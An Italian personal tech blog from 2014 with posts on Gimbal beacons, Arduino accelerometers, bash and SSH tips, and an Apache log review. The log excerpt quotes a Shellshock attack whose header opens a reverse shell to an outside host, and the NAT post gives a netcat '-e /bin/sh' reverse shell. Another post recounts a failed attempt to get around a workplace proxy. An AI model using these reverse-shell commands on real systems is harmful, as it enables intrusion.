venerdì 31 ottobre 2014

Gimbal beacons

Aggiornamento
Con alcune app i beacon Gimbal sono visibili ma cambiano continuamente MAC Address per cui la lista continua ad aggiornarsi scoprendo sempre nuovi beacon (in realta' e' sempre il solito che aggiorna il proprio identificativo di basso livello)
Cio' comporta problemi su Android. Secondo quanto riportato da questo post di Radius Network (una ditta concorrente) dopo circa 40 minuti di utilizzo una applicazione Android va in crash a causa del numero limitato della lista di MAC Address che Android riesce a gestire

----------------------------------------

Grazie ad una simpatica iniziativa per gli sviluppatori (spediscono un kit gratuito anche all'estero...nonostante che sia indicato solo per gli USA) sono entrato in possesso di tre beacons Gimbal ovvero Qualcomm


Rispetto agli altri beacon testati basati sul TI CC2540 questi sono basati su processori proprietari della Qualcomm e sono decisamente molto meglio ingegnerizzati e miniturizzati (lo spazio e' quasi totalmente occupato dalla batteria CR2032)

Una prima differenza rispetto agli altri beacon testati e' che questi non vengono segnalati dai programmi basati sul uuid-major-minor. In pratica ogni beacon ha un proprio codice (4 caratteri - 5 caratteri) che deve essere comunicato a Gimbal per l'attivazione; in seguito i beacon solo visibili medianti le applicazione sviluppate con l'SDK di Gimbal (IOS e Android-Beta) ma non con altri software

Con il beacon posto vicino al telefono l'RSSI e' di -40, portandolo a circa ad oltre 3 m scende circa -80. Riportando velocemente in grafico


Il segnale risulta molto stabile (prova effettuata ad un 1 metro di distanza tra beacon ed IPhone) con una standard deviation del valore di RSSI di circa 0.6 unita'


Su Android le cose sono leggermente differenti con un valore di standard deviation di 1.2 unita'. Non male vista la precedente esperienza con i Texas Instruments





ShellShock et alii

Ancora un po' di curiosita sui log di un server Apache 2

ci sono chiaramente dei tentativi mediante script automatici che cercano vulnerabilita' legate a PhpMyAdmin (in giallo) ed un attacco basato su shellshock (in rosso) nella speranza di trovare installato CPanel

Curiose invece le righe in verde in cui vengono effettuate richieste a servizi come proxyjudge che verificano lo stato dei proxy server (forse un modo per verificare se la macchina e' all'interno di un proxy???)

comunque come si vede le risposte del server sono della categoria 400 quindi il file non e' stato trovato

Interessante anche la riga in azzurro in cui viene fatta una richiesta che non risulta essere nel protocollo http

Per finire le nazionalita' dell'origine degli attacchi: in alcuni casi e' Taiwan, in altri Thailandia,

08.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /ujuj/uju/uj.php HTTP/1.1" 404 470 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
207.240.10.33 - - [29/Oct/2014:23:29:50 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 487 "-" "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
85.25.72.86 - - [29/Oct/2014:23:30:56 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 0 "-" "-"
125.64.35.67 - - [30/Oct/2014:00:03:13 +0000] "GET http://6.url.cn/zc/chs/img/body.png HTTP/1.1" 404 450 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)"
61.58.204.97 - - [30/Oct/2014:00:42:07 +0000] "GET /hghg/hgh/hg.php HTTP/1.1" 404 470 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:08 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:09 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:10 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:50 +0000] "GET /kkkk/kkk/kk.php HTTP/1.1" 404 470 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:51 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
1.164.41.53 - - [30/Oct/2014:01:45:02 +0000] "CONNECT mx0.mail2000.com.tw:25 HTTP/1.0" 405 537 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:29 +0000] "GET /asas/asa/as.php HTTP/1.1" 404 470 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
64.4.97.21 - - [30/Oct/2014:06:37:26 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 0 "-" "-"

218.59.238.93 - - [30/Oct/2014:11:01:52 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [30/Oct/2014:11:02:14 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


124.122.165.64 - - [30/Oct/2014:08:53:09 +0000] "GET /vyvy/vyv/vy.php HTTP/1.1" 404 470 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:12 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"

218.59.238.93 - - [29/Oct/2014:16:19:29 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:16:19:44 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


218.59.238.93 - - [29/Oct/2014:10:07:33 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:10:39:54 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:12:40 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:13:49 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

221.165.35.130 - - [27/Oct/2014:23:25:57 +0000] "GET / HTTP/1.1" 200 11820 "-" "-"
65.99.238.246 - - [27/Oct/2014:23:43:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "-"
218.59.238.93 - - [27/Oct/2014:23:46:01 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:48:51 +0000] "GET http://yazoodle.net/azenv.php HTTP/1.0" 404 463 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:57:38 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /zyzy/zyz/zy.php HTTP/1.1" 404 470 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
218.59.238.93 - - [28/Oct/2014:01:36:04 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:01:49:47 +0000] "GET http://www.mesregies.com/azz.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:02:50:52 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:03:51:04 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

giovedì 30 ottobre 2014

Evadere da un proxy server

Per motivi di lavoro passo molto tempo dietro un http proxy server. La macchina di frontiera filtra tutto il traffico lasciando aperte solo la porta 80 e 443 effettuando anche content filtering (basato piu' che altro su una lista di domini ammessi/non ammessi senza entrare a leggere il contenuto vero e proprio dei pacchetti)

Visto che qualche volta (qualche spesso...) mi devo collegare in SSH a macchine esterne e non volendo sempre usare la connessione cellulare ho provato a forzare il blocco

La tecnica prevista consisteva nel predisporre una macchina esterna con ip statico e pubblico con il server SSH in ascolto non sulla porta standard 22 ma sulla 80 in modo da poter attraversare il proxy ed una volta all'esterno rimandare poi sulle macchine di interesse.

Dopo una mezza giornata di tentativi ho desistito. Il proxy server intercetta tutte le chiamate negando l'accesso all'esterno sia usando Putty su Windows che ssh da shell su Linux e Mac. A questo punto mi sono reso conto che la macchina di frontiera non fa solo il controllo sull'intestazione dei pacchetti ma anche all'interno degli stessi (non ho ben chiaro come fa ma di fatto lo fa). Sono quindi ancora prigioniero del proxy
I miei complimenti all'amministratore del sistema centrale (che poi mi deve spiegare perche' nega le connessioni ssh e poi permette il traffico su tutta una serie di siti quali Facebook, Youtube e compagnia dicendo)

venerdì 24 ottobre 2014

Bluetooth LE su MacBook Late 2009

Con il nuovo OsX prende ancora piu' importanza nel mondo Mac la presenza di Bluetooth 4

Avendo un MacBook Pro Late 2009 non e' montato di serie un chip Bluetooth LE.
Ho provato quindi a recuperare il dongle gia' usato per Linux visto sul precedente post


Con sorpresa il chip Broadcom BCM20702 viene riconosciuto da MacOs X 10.9.5 senza problemi.
Per rendere operativo il dongle si puo' usare il programma BeaconScanner (link) per registrare la presenza di beacon nelle vicinanze al portatile ed il programma BeaconOsX (link) per trasformare il MacBook in un beacon

mercoledì 22 ottobre 2014

L'importanza di una batteria

Le due batterie sono state montate nello stesso momento su due dispositivi gemelli che hanno lavorato insieme per tutto il tempo


Improvvisamente uno dei due dispositivi smette di trasmettere ed ovviamente escludo il problema di alimentazione perche' il telecontrollo del secondo dispositivo mostra un livello dell'accumulatore al 70%
Ovviamente dopo un'ora di prove ho preso il tester ed ho verificato che la batteria era vuota (<0.3 V)

Cosa ho imparato:
1) non comprare batterie sottocosto cinesi (vedi scritte sulle batteria nella foto, ovviamente quella funzionante e' a sinistra). Cio' che costa poco spesso dura poco
2) partire a risolvere i problemi dalle cose semplici (ricordo un manuale Ibm di un Desktop anni 90 che iniziava del tipo Il computer non si accende. Avete collegato il cavo della corrente??...non era un suggerimento stupido)

martedì 21 ottobre 2014

SSH ed XForwading

Normalmente SSH viene usata per l'amministrazione remota a livello di shell
E' possibile instradare anche una connessione criptata del server X mediante SSH

per avviare lato client l'XForwarding e' sufficiente aggiungere lo switch -X

da una macchina Linux e' possibile scrivere
ssh -X luca@xxx.xxx.xxx.xxx

una volta effettuato il login ci si trova in shell senza che apparentemente ci sia stato un effetto dello switch -X. Se pero' si lancia un applicativo X (tipo gedit) si vedra' comparire lato client la finestra di Gedit...da notare bene che questa applicazione sta girando sul server remoto per cui gli eventuali file saranno salvati sul disco fisso remoto
Se invece di un applicativo si vuole interagire con tutto il desktop e' sufficiente digitare
gnome-session
per aprire (per esempio) il desktop di Gnome

Una sessione X remota su Mac Os X

Un aspetto curioso e' che quanto descritto funziona anche su Mac OS X  a patto di avere installato il pacchetto X11

Gedit in sessione remota su Mac Os X

Gedit in sessione remota su Mac Os X (da notare che il salvataggio e' sul disco del server remoto)

Quanto descritto e' stato testato, senza modifiche al demone del server ssh, sia su Ubuntu 14.04 che su Debian 7

lis3lv02dq ed Arduino

A seguito del precedente post, ho provato l'accelerometro triassiale LIS3LV02DQ (scheda tecnica)
A differenza del modello ADXL335 questo integrato si collega ad Arduino mediante un bus I2C con i due pin SDA ed SCL rispettivamente ai pin A04 ed A05 di Arduino UNo



Schema in Fritzing (la pedinatura dell'accelerometro risulta differente da quella che ho usato io perche' in questo caso il sensore non e' montato su una basetta)


Come nel caso precedente ci sono un po' di indicazioni contrastanti sul tipo di alimentazione. La scheda tecnica riporta una tensione di Vcc di 3.6 V per cui, per sicurezza, ho alimentato mediante il pin 3V3 di Arduino

Lo sketch per Arduino e' stato copiato da Internet effettuando piccole modifiche (nell'originale erano usate dei metodi della libreria Wire che sono obsoleti)
------------------------------------------------------------------------------------
#include <Wire.h>

// TWI (I2C) sketch to communicate with the LIS3LV02DQ accelerometer

//Modified code from http://research.techkwondo.com/blog/julian/279
//Thanks Julian.

// Using the Wire library (created by Nicholas Zambetti)
// http://wiring.org.co/reference/libraries/Wire/index.html
// On the Arduino board, Analog In 4 is SDA, Analog In 5 is SCL
// These correspond to pin 27 (PC4/ADC4/SDA) and pin 28 (PC5/ADC5/SCL) on the Atmega8
// The Wire class handles the TWI transactions, abstracting the nitty-gritty to make
// prototyping easy.

void setup()

{

 Wire.begin(); // join i2c bus (address optional for master)
 Serial.begin(9600);
 Wire.beginTransmission(0x1D);
 Wire.write(0x20); // CTRL_REG1 (20h)
 Wire.write(0x87); // Device on, 40hz, normal mode, all axis's enabled
 Wire.endTransmission();
}

void loop()
{
#define i2cID 0x1D
#define outXhigh 0x29
#define outYhigh 0x2B
#define outZhigh 0x2D
#define outXlow 0x28
#define outYlow 0x2A
#define outZlow 0x2C

byte z_val_l, z_val_h, y_val_l, y_val_h, x_val_l, x_val_h;

//----------X Values-----------------------
 int x_val;

//-------------------------------
 Wire.beginTransmission(i2cID);
 Wire.write(outXlow);
 Wire.endTransmission(); 
Wire.requestFrom(i2cID, 1);
while(Wire.available())
{
  x_val_l = Wire.read();
}
//------------------------------- 
 Wire.beginTransmission(i2cID);
 Wire.write(outXhigh);
 Wire.endTransmission();
  
Wire.requestFrom(i2cID, 1);
if(Wire.available())
{
  x_val_h = Wire.read();
}
//------------------------------- 
x_val = x_val_h;
x_val <<= 8;
x_val += x_val_l;
//----------Y Values-----------------------
 int y_val;

//-------------------------------
 Wire.beginTransmission(i2cID);
 Wire.write(outYlow);
 Wire.endTransmission(); 
Wire.requestFrom(i2cID, 1);
while(Wire.available())
{
  y_val_l = Wire.read();
}
//------------------------------- 
 Wire.beginTransmission(i2cID);
 Wire.write(outYhigh);
 Wire.endTransmission();
  
Wire.requestFrom(i2cID, 1);
if(Wire.available())
{
  y_val_h = Wire.read();
}
//------------------------------- 


y_val = y_val_h;
y_val <<= 8;
y_val += y_val_l;


//----------Z Values-----------------------
 int z_val;

//-------------------------------
 Wire.beginTransmission(i2cID);
 Wire.write(outZlow);
 Wire.endTransmission(); 
Wire.requestFrom(i2cID, 1);
while(Wire.available())
{
  z_val_l = Wire.read();
}
//------------------------------- 
 Wire.beginTransmission(i2cID);
 Wire.write(outZhigh);
 Wire.endTransmission();
  
Wire.requestFrom(i2cID, 1);
if(Wire.available())
{
  z_val_h = Wire.read();
}
//------------------------------- 


z_val = z_val_h;
z_val <<= 8;
z_val += z_val_l;

Serial.print(x_val, DEC);
Serial.print(";"); 
Serial.print(y_val, DEC);
Serial.print(";"); 
Serial.println(z_val, DEC);

delay(1);

}
------------------------------------------------------------------------------------


In condizioni statiche il sensore sembra essere decisamente stabile

asse X : 27u +/- 0u
asse Y : -11u +/- 0u
asse Z : 1037 +/- 0.4u

il passo di campionamento nel tempo (calcolato usando lo script del post precedente) e' stato di 13.5+/-1.9 ms 

Picchiettando sul tavolo (o meglio da sotto il tavolo, dal basso verso l'alto) e lateralmente si osserva la risposta del sensore


lunedì 20 ottobre 2014

ADXL335 su Arduino Due


L'ADXL335 e' un accelerometro triassiale analogico.
Ne ho comprato uno gia' saldato su basetta su Sparkfun ed il suo utilizzo e' piuttosto immediato. Basta dare corrente e leggere i valori di tensione sui tre pin di misura (uno per ogni asse)

Problema: quale tensione?? Sulla scheda tecnica dell'ADXL335 c'e' indicato che deve alimentato a 3.3V mentre su altre fonti viene riportato che sulla schedina di Sparkfun c'e' gia' un regolatore di tensione per cui puo' essere alimentato dai 5V dell'Arduino
Per non rischiare ho alimentato il pin VCC con il pin da 3V dell'Arduino e collegato il GND



Per la prova ho utilizzato solo l'asse Z collegato alla porta A0 (analogica 0 dell'Arduino)
Ho utilizzato una Arduino Due piu' che altro per avere un dato a 12 bit



Lo sketch montato sulla scheda e' quanto mai semplice

------------------------------------------------
void setup() {
  Serial.begin(9600);
}

void loop() {
  analogReadResolution(12);
  int sensorValue = analogRead(A0);
  Serial.println(sensorValue);
  delay(1);     
}
------------------------------------------------

Sul portatile ho messo un piccolo script in Python in modo da salvare oltre al dato anche il tempo (in millisecondi) per vedere quanto era stabile il passo di acquisizione

------------------------------------------------
import serial
import time

ser = serial.Serial('/dev/cu.usbmodem621', 9600)
while True:
line = ser.readline() 
millis = int(round(time.time() * 1000))
print str(millis)+","+line,
------------------------------------------------

Per avere un'idea della qualita' del dato ho fatto prima una misura cercando di non avere accelerazioni sull'asse verticale

Senza perturbazione
La misura ha avuto un valore medio di 1670 unita' +/- 2 unita' di standard deviation. Il valore massimo misurato e' stato di 1677 unita' (3 misure) ed un valore minimo di 1661 (1 misura)

Osservando la scala dei tempi, il passo di campionamento e' piuttosto variabile con un valore medio di 6 ms +/- 2 ms

Successivamente ho provato a fare una misura camminando attorno al tavolo dove era appoggiato il sensore.

Camminando attorno al tavolo

Il valore medio misurato e' stato di 1669 unita' (coerente con quello precedente) con valore massimo di 1679 u e minimo di 1659 u
Sul grafico sono inserite le rette dei valori massimi, minimo e +/- st.dev della misura senza perturbazione.
I dati sono molto grossolani ma c'e' una qualche indicazione che il sensore abbia registrato la variazione di accelerazione verticale indotta dal mio camminare

Giusto per prova ho provato anche con il campionamento a 10 bit sempre su Arduino 2

il valore medio e' stato di 419 unita' con una standard deviation di 0.5 unita' (su 500 misure)

419 unita' a 10 bit su Arduino 2 valgono 2.04 V
1669 unita' a 12 bit su Arduino 2 valgono 2.03 V

In questo caso pero' ho deliberatamente picchiettato sul tavolo (come si vede chiaramente dal grafico, nella figura in basso un ingrandimento). Si vedono chiaramente i rimbalzi del segnale




Cerchero' nei prossimi giorni di fare qualche esperienza di campagna per vedere se l'integrato puo' essere utilizzato come piccolo sismometro




giovedì 16 ottobre 2014

Serial to Ethernet con Arduino

Per risolvere il problema di un amico che deve mandare il segnale di uno strumento di monitoraggio (uscita solo in seriale) su Internet per la misura remota ho provato a costruire un convertitore seriale-ethernet.
Esistono soluzioni commerciali decisamente piu' solide ma anche piu' costose (vedi http://www.moxa.com/product/Serial_Device_Servers.htm) ma cosi' si perde il divertimento

Lo strumento esce con una seriale RS-232 quindi la prima parte e' inserire un MAX 3232 (gia' visto in questo post) con uno shield ethernet su Arduino Uno per trasmettere i dati in Udp



Per semplicita' ho simulato tutto sul portatile (non avendo peraltro a disposizione lo strumento che e' in uso per monitoraggio). Il segnale seriale e' stato simulato con un semplice programma in Python che manda numeri progressivi sulla porta seriale (per ovvi motivi non ho una seriale reale sul portatile ed ho usato un cavo usb-seriale per il collegamento
---------------------------------------------
import serial
ser = serial.Serial('/dev/ttyUSB0',9600)
conta = 0
while True:
    ser.write(str(conta))
    conta = conta + 1
---------------------------------------------

sulla Arduino e' stato montato questo sketch che semplicemente legge la seriale (sui Pin 0 ed 1 di una Arduino Uno) e crea un pacchetto Udp che viene lanciato ad un server udp remoto
Attenzione: in fase di programmazione mediante cavo Usb il pin 0 deve essere disconnesso dal convertitore MAX 3232 perche' altrimenti si ha un conflitto e lo sketch non viene caricato sull'Arduino. Il collegamento Usb con la IDE Arduino usa il pin 0

il server e' sul 192.168.1.10:5005. L'Arduino era collegata tramite un cavo cross con lo stesso portatile che mandava il segnale seriale
-----------------------------------------------
#include <SPI.h>       
#include <Ethernet.h>
#include <EthernetUdp.h>

byte mac[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
IPAddress ip(192, 168, 1, 2);
unsigned int localPort = 5005;
int ingresso = 0;

EthernetUDP Udp;

void setup() {
  Serial.begin(9600);
  Ethernet.begin(mac,ip);
  Udp.begin(localPort);
  Udp.beginPacket({192, 168, 1, 10}, 5005);
  Udp.write("Pronto");
  Udp.endPacket();

}

void loop() {
if (Serial.available() > 0)
    {
    ingresso = Serial.read(); 
    Udp.beginPacket({192, 168, 1, 10}, 5005);
    Udp.write(ingresso);
    Udp.endPacket();
    }

}
-------------------------------------------------
Questo e' il server in Python che gestisce l'arrivo dei dati
-------------------------------------------------
import socket

UDP_IP = "192.168.1.10"
UDP_PORT = 5005

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
sock.bind((UDP_IP, UDP_PORT))

while True:
    data, addr = sock.recvfrom(1024) 
    print data
-------------------------------------------------
Capitolo costi:
una soluzione industriale va circa sui 150 euro

con la soluzione fatta in casa i costi sono qualcosa meno di 20 euro per una Arduino Uno (se si va sui cloni i prezzi calano rapidamente), uno shield ethernet originale va circa a 30 euro ma si trovano moduli anche sui 10 euro, il MAX3232 montato e' circa sui 5 euro
in totale si spende da un minimo di 30 ad un massimo di 55 euro (montaggio e scatola esclusa).


mercoledì 15 ottobre 2014

Script Bash per riavviare un programma

Un problema che si e' posto recentemente e' quello di un programma che gestisce l'acquisione di un sensore si blocca in modo casuale con un messaggio nel log di connection reset by peer

Essendo un software commerciale la consultazione su internet non ha portato risultati e cosi' e'stato provato di scrivere un piccolo programmino in bash da mandare in background che controlla l'attivita' del programma e nel caso lo riavvia

Purtroppo quando il programma entra in errore di fatto non crasha ma rimane attivo in memoria senza fare niente, come in stallo, per cui mediante il comando ps non e' possibile verificare il suo stato di funzionamento
E' stato notato pero' che il file di log si blocca nel momento in cui il programma entra in stallo per cui lo script bash controlla la dimensione del file ad intervalli prefissati, nel caso le dimensioni del file di log non mutino si killa il processo e lo si riavvia

(in giallo le parti da personalizzare)
-----------------------------------------------------------------------------
#!/bin/bash
prima=0 #lunghezza file di log prima
dopo=0 #lunghezza file di log dopo
while true; do #ciclo infinito
dopo=$(stat -c%s "dati.log") #inserire qui il nome del file di log
if (($dopo==$prima)); #se prima e dopo l'intervallo la lunghezza e' uguale
then
echo "Non Cambiato" #effettua il kill del processo e lo riavvia
kill -9 $(pidof nome_programma) #mettere come parametro di pidoff il nome del programma da killare
nome_programma #mettere qui il nome del programma da far ripartire
fi

prima=$dopo #scambia il valore delle variabili per il prossimo ciclo
sleep 30 #intervallo di scansione del file di log
done
-----------------------------------------------------------------------------

martedì 14 ottobre 2014

Amministrare macchine sotto NAT

In alcuni casi puo' risultare necessario amministrare macchine che risultano dietro un router che fa NAT e quindi non hanno un indirizzo pubblico (ne' statico ne' dinamico) ma solo un indirizzo privato (si presentano su Internet con il solo indirizzo del router)

Un trucco puo' essere quello di configurare il router per fare port forwarding verso il client interno ma su alcuni reti (vedi quelle della telefonia mobile o Fastweb) cio' non e' possibile

In questi casi si puo' procedere con due metodi usando in entrambi i casi una reverse shell in cui la connessione e' iniziata dalla macchina nattata (questo permette di attraversare tranquillamente il router/firewall poiche' di solito le connessioni sono praticamente sempre filtrate solo dall'esterno verso l'interno)

Netcat
Su una macchina con indirizzo pubblico si digita (ovviamente non ci devono essere gia' server che sfruttano la porta 8080)
netcat -lvp 8080a questo punto dalla macchina nattata si digita
netcat -e /bin/sh ip_esterno 8080
a questo punto digitando i comandi sulla shell della macchina con ip pubblico si riescono ad eseguire i comandi sulla macchina nattata

SSH 
Supponiamo di avere una macchina con indirizzo pubblico su cui gira un server SSH ed un account su questa macchina (
Dalla macchina nattata si puo' digitare
ssh -R 8080:localhost:22 nome@ip_esterno

dalla macchina con ip pubblico si digita dove l'utente e la corrispettiva password sono quelle della macchina nattata
ssh utente1@localhost -p 8080

a questo punto i comandi digitati sulla macchina con ip pubblico vengono sulla macchina nattata

In tutto cio' c'e' un problema. Per effettuare il collegamento si deve interagire prima con la macchina nattata per poter aprire la connessione. Ma come si fa se questa e' irraggiungibile?? La soluzione, escludendo l'intervento umano di un collega sul posto, puo' essere quello di uno script in cron che lanci il comando a determinati intervalli. Se l'altro capo della comunicazione non e' pronto semplicemente la connessione viene interrotta, altrimenti inizia l'amministrazione remota

Ubuntu su Satellite NB10-A-102

Un amico mi ha passato il portatile in oggetto, un portatile Toshiba Satellite NB10-A-102 PU141E, per installare Ubuntu



Il computer ha un costo decisamente ridotto (tra 220 e 250 euro) ed ha uno schermo da 11.6 con scheda grafica integrata Intel. Le impressioni di uso sono abbastanza pessime perche' i tasti sono decisamente piccoli ed hanno una corsa ridicola (basta sfiorarli per trovarsi a cliccare)



Il fatto che il mio amico mi chiedesse di installare la macchina era sospetto perche' usa normalmente Linux e non e' esattamente uno sprovveduto in questo campo. Secondo quanto descritto, aveva gia' installato una 14.04 ma al riavvio ma la macchina non faceva salire il sistema operativo (primo sospettato EFI boot)

Non avendo drive ottico ho preparato una chiavetta USB con l'ultima iso di Ubuntu e mi sono trovato a fronteggiare una serie di errori:

in alcuni casi la chiavetta non veniva riconosciuta al boot e non trovando supporti disponibili la macchina si piantava alla partenza
in altri casi la chiavetta era riconosciuta ma dava una serie di errori irreversibile cercando di montare l'immagine live dell'installer


dopo aver creato una decina di chiavette ho chiaramente visto che non era il supporto corrotto ma c'era qualcosa nel bios che non andava. Frugando su internet viene consigliato di usare le porte USB di destra per inserire i dispositivi Usb di boot (??? Strano consiglio, ma a quel punto inizio a ruotare su tutte le porte per vedere se ho successo e finalmente mi si avvia il live cd ...ovviamente usando la porta Usb di sinistra)
Installo il sistema fino al termine in modo corretto (un po' lentamente a dire la verita'). Shutdown. Power On e la macchina si pianta al boot non riconoscendo il boot da disco fisso

Finalmente capito su questo post che indica come ci sia una incompatibilita' tra i file che installa Ubuntu ed il bios Efi di Toshiba. In pratica il bios si aspetta di trovare una directory /efi/boot ma trova il suo posto /efi/ubuntu ovviamente andando nei pazzi. Inoltre bisogna copiare il file  BOOTx64.EFI nella /efi/boot

Per fare cio' si deve riavviare la macchina dall'usb (se ci si riesce, e' piu' questione di fortuna che di capacita') e copiare a mano i file dal supporto live verso l'hdd come descritto nel post

A questo punto dopo due ore di lavoro la macchina e' pronta per l'utilizzo con praticamente tutte le periferiche riconosciute.

Debian??ci ho provato ma non mi ha avviato X (non riconoscendomi nemmeno il touchpad in fase di installazione) ed il mio amico aveva espressamente richiesto Ubuntu  per cui ho desistito subito

Quanto e' grande un MacBook??


Mi e' capitato di vedere un MacBook (Core DueDuo) ridotto ai minimi termini e sono rimasto stupefatto
Nella foto si puo' vedere la motherboard a fianco di una comune penna per riferimento


Per la cronaca il riflesso del flash e' sul touchpad, quella arrotolata sulla sinistra e' la matrice della tastiera, in alto lo speaker ed il disco SSD


mercoledì 8 ottobre 2014

WD10EADS

Un amico mi ha passato un disco WD Caviar Green della serie WD10EADS che era inserito dentro un mediacenter Mediacom
Il motivo della donazione e' che tramite Windows XP non riusciva piu' ad interagire con il disco mentre io con una prova fatta tramite Linux ero riuscito a copiare i dati (del tipo "tienilo te almeno ti serve a qualcosa")


Vista la dimensione generosa del disco ho deciso che valeva la pena di comprare un box SATA 3.5" per farlo diventare un disco di backup esterno.
Con sorpresa ho verificato che il disco e' sostanzialmente integro (nel senso che si puo' formattare in vari formati, si possono copiare dati e si possono rileggere) ma ha una velocita' decisamente ridicola (giusto per esempio per la lettura di un file video da circa 1 Gb sono stati necessari 7-8 minuti per una velocita' di circa 400 Kb/s (in alcuni casi ho misurato velocita' inferiori ai 200 Kb/s)



Con ricerca su internet di brevissima durata sono incappato in questo post che descrive esattamente le problematiche osservate

In conclusione il disco e' stato messo da parte in attesa di smaltimento

lunedì 6 ottobre 2014

ShellShock Scanning

Come prevedibile si cominciano a vedere passare nei log dei server i tentativi di utilizzare la vulnerabilita' di Bash ShellShock

Ecco come si presenta un tentativo di exploit
